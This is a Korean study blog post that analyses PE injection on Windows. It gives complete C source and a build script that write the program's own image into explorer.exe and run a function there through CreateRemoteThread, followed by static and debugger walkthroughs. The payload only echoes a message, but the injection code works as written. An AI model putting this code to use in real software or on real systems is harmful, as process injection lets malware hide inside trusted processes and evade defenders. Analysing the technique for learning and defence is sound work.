0. 목차
Contents
1. PE Injection이란
- PE구조를 타겟 프로세스에 강제로 삽입하고 실행하는 방법
- 디스크에 추가적인 DLL 등을 저장하지 않음
- Loadlibrary를 호출하지 않는 방법
주요 흐름)
Find Target Process
→ OpenProcess
-> VirtualAlloc
→ WriteProcessMemory
→ CreateRemoteThread
2. PE Injection 유형 분석
2.1 분석 환경
- OS : Windows 7(x86)
- Debugging Tool : IDA Pro, x32dbg
- etc tool : Process Explorer, VMMap
2.2 예제 소스 코드
[ self.cpp ]
#include <Windows.h>
#include <TlHelp32.h>
unsigned int _strlen(const char *f)
{
INT i = 0;
while (*f++)
i++;
return i;
}
void _printf(char *fmtstr, ...)
{
DWORD dwRet;
CHAR buffer[256];
va_list v1;
va_start(v1, fmtstr);
wvsprintfA(buffer, fmtstr, v1);
WriteConsole(GetStdHandle(STD_OUTPUT_HANDLE), buffer, _strlen(buffer), &dwRet, 0);
va_end(v1);
}
int _strcmp(char *s1, char *s2)
{
while (*s1 && (*s1 == *s2))
s1++, s2++;
return (int)*(unsigned char *)s1 - *(unsigned char *)s2;
}
void *
_memcpy(void *dest, const void *src, size_t len)
{
char *d = (char *)dest;
const char *s = (const char *)src;
while (len--)
*d++ = *s++;
return dest;
}
DWORD findPidByName(char *pname)
{
HANDLE h;
PROCESSENTRY32 procSnapshot;
h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
procSnapshot.dwSize = sizeof(PROCESSENTRY32);
do
{
if (!_strcmp(procSnapshot.szExeFile, pname))
{
DWORD pid = procSnapshot.th32ProcessID;
CloseHandle(h);
return pid;
}
} while (Process32Next(h, &procSnapshot));
CloseHandle(h);
return 0;
}
void doit()
{
WinExec("cmd /k echo i'm in explorer.exe now!", 1);
}
int main()
{
HMODULE hThisProcess = GetModuleHandle(NULL);
PIMAGE_NT_HEADERS PEHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)hThisProcess + ((PIMAGE_DOS_HEADER)hThisProcess)->e_lfanew);
DWORD dwModuleSize = PEHeaders->OptionalHeader.SizeOfImage;
DWORD dwProcessId = findPidByName("explorer.exe");
HANDLE hRemoteProcess = OpenProcess(
PROCESS_QUERY_INFORMATION |
PROCESS_CREATE_THREAD |
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE,
FALSE, dwProcessId);
if (hRemoteProcess == NULL)
{
return (1);
}
//RWX
LPVOID lpRemoteAllocation = VirtualAllocEx(hRemoteProcess, hThisProcess, dwModuleSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
//Local Copy
LPVOID pLocalCopy = VirtualAllocEx(GetCurrentProcess(), NULL, dwModuleSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
_memcpy(pLocalCopy, hThisProcess, dwModuleSize);
WriteProcessMemory(hRemoteProcess, lpRemoteAllocation, (LPBYTE)pLocalCopy, dwModuleSize, 0);
LPTHREAD_START_ROUTINE tStartRoutine = (LPTHREAD_START_ROUTINE)((LPBYTE)doit);
DWORD dwRemoteThreadID;
HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, tStartRoutine, NULL, 0, &dwRemoteThreadID);
CloseHandle(hRemoteProcess);
return 0;
}
[ build.bat ]
@ECHO OFF
WHERE cl
IF %ERRORLEVEL% NEQ 0 (
call "C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\Common7\Tools\VsDevCmd.bat"
)
cl /c /GS- self.cpp
link /ENTRY:main /BASE:0x400000 /FIXED /subsystem:windows self.obj user32.lib kernel32.lib
del *.obj
3. 분석
3.1 정적 분석
start()
doit()
1) lpAddress = GetModuleHandleA(0);
→ 파라미터가 NULL이면 호출 프로세스(.exe파일)를 만드는데 사용되는 핸들 반환(호출 프로세스인 self.exe의 핸들러)
- lpAddress : NT Header의 시작 주소
- dwSize : Optional Header의 Size of Image멤버 변수
2) dwProcessId = findPidByName((int)"explorer.exe");
→ "explorer.exe"프로세스의 이름을 찾아 pid를 구하여 반환
3) hProcess = OpenProcess(0x42Au, 0, dwProcessId);
액세스 권한 옵션
:PROCESS_CREATE_THREAD | PROCESS_DUP_HANDLE
→ 위에서 구한 PID값을 통해 "explorer.exe" 프로세스의 handle값을 얻어옴
4) lpBaseAddress = VirtualAllocEx(hProcess, lpAddress, dwSize, 0x3000u, 0x40u);
메모리 할당 유형
:MEM_COMMIT(0x1000) | MEM_RESERVE(0x2000)
메모리 보호 유형
:PAGE_EXECUTE_READWRITE(0x40)
→ "explorer.exe"프로세스의 lpAddress위치에 dwSize만큼 공간할당
5) ProcessHandler = GetCurrentProcess();
→ 현재 프로세스에 대한 의사(pseudo) 핸들을 검색하여 반환하는 함수
- 위 함수에서 설명한대로 호출 프로세스(self.exe)의 의사 핸들을 구하는 함수인데
OpenProcess
와 차이점이 존재한다.
-
GetCurrentProcess()
로 구하는 핸들은 실제 핸들 테이블에 있는 값이 아닌 사전에 상수로 정의된 의사 핸들 값이므로 해당 값을 통해 다른 프로세스에서 정상적으로 사용할 수 없고 자기 자신의 프로세스를 지정하는데 해당 핸들을 사용할 수 있다.
- 실제 프로세스 핸들을 얻으려면
DuplicateHandle()
과OpenProcess()
를 사용
→ ProcessHandler에는 "self.exe"의 pseudo 핸들 값이 저장된다.
6) lpBuffer = VirtualAllocEx(ProcessHandler, 0, dwSize, 0x3000u, 4u);
메모리 할당 유형
:MEM_COMMIT(0x1000) | MEM_RESERVE(0x2000)
메모리 보호 유형
:PAGE_READWRITE(0x4)
→ "self.exe"프로세스에 dwSize만큼 자동으로 메모리 할당하여 할당된 주소 값을 lpBuffer에 저장
→ 이후에 memcpy()
를 통해 lpAddress에 있는 값을 lpBuffer위치에 dwSize만큼 복사한다.
7) WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, dwSize, 0);
→ "explorer.exe"프로세스에 lpBuffer에 있는 값을 lpBaseAddress에 dwSize만큼 작성
- lpStartAddress : doit()주소
8) CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)doit, 0, 0, &ThreadId);
→ "explorer.exe"프로세스를 통해 doit()을 호출한다.
3.2 동적 분석
1) GetModuleHandleA() 호출 後
- 반환 값 : 0x400000
- "self.exe"의 이미지 주소를 가리킴
2) findPidByName("explorer.exe") 호출 後
- "explorer.exe" pid : 0xbf0(3,056)
3) OpenProcess() 호출 後
- "explorer.exe" handler : 0x34
4) VirtualAllocEx() 호출 前, 後
① 호출 前
- "explorer.exe"에 메모리 공간을 할당할 때 "self.exe"의 Image 시작 주소와 동일한 위치에 메모리 공간할당을 시도한다.
- 현재 "self.exe"의 0x400000주소에는 PE헤더 값이 있는 것을 확인할 수 있다.
② 호출 後
- "explorer.exe"의 0x400000공간이 할당되고 rwx권한이 있는 것을 확인
5) VirtualAllocEx() 호출 前, 後
① 호출 前
- GetCurrentProcess()를 통해 "self.exe"의 pseudo 핸들러를 가져옴
- VirtualAllocEx()의 인자 값을 세팅
② 호출 後
- "self.exe"의 주소 공간이 할당되고 시작 주소 값 0x2a0000를 반환
- rw권한이 생긴 것을 확인
6) memcpy() 호출 前, 後
① 호출 前
- 0x400000("self.exe"의 PE헤더 값) → 0x2a0000 로 복사
② 호출 後
- PE헤더 값이 복사된 것을 확인
6) WriteProcessMemory() 호출 後
- 방금 복사된 lpBuffer(0x2a0000)에 있는 값을 "explorer.exe"의 0x400000으로 복사
7) CreateRemoteThread() 호출 前, 後
① 호출 前
- CreateRemoteThread()로 대상 프로세스의 메모리에 존재하는 함수를 실행하기 위해 인자 값을 세팅한다.
② 호출 後
- "explorer.exe"프로세스를 통해 doit()을 호출한다.
- doit()에는 cmd를 통해 echo하는 기능으로 정상 실행되는 것을 확인
4. 정리
4.1 Process
1) 준비 단계
- GetModuleHandleA()를 통해 "self.exe"의 PE Image시작 주소를 구한다.
- "self.exe"의 PE Image Size를 구한다.
- findPidByName()을 통해 "explorer.exe"의 pid를 구한다.
- OpenProcess()를 통해 "explorer.exe"의 핸들러를 구한다.
2) Injection 단계
- VirtualAllocEx()를 통해 "explorer.exe"의 메모리 공간 할당
- VirtualAllocEx()를 통해 "self.exe"의 메모리 공간 할당
- memcpy()를 통해 "self.exe"의 PE 헤더 값을 할당 받은 공간으로 복사
- WriteProcessMemory()를 통해 아까 "explorer.exe"에 할당받은 주소 공간으로 방금 memcpy()를 통해 복사한 값 복사
3) Execute 단계
- CreateRemoteThread()를 통해 "explorer.exe"의 프로세스로 doit()실행
4.2 Image
5. 추가 내용
사실 위 코드를 실행시키면 정상 작동하지 않을 때가 있다.
디버깅 화면(ProcessExplorere)에서 잘 보면 explorer.exe프로세스가 1개가 아닌 2개가 있는 것을 확인할 수 있다. 그리고 Injection하려는 Target Process는 SUSPENDED상태의 explorer.exe이다.
어쩌다가 되긴 했는데 CreateProcess()를 통해서 explorer.exe를 SUSPENDED상태로 생성해주는 코드를 추가해줘야 할 것 같다.
이후에 PE Injection관련 깃허브 소스코드를 참고하거나 hybrid-analysis에서 다운받아서 상세히 분석해봐야게따
6. 참고자료
6.1 GetCurrentProcess()
6.2 PE Injection
Uploaded by Notion2Tistory v1.1.0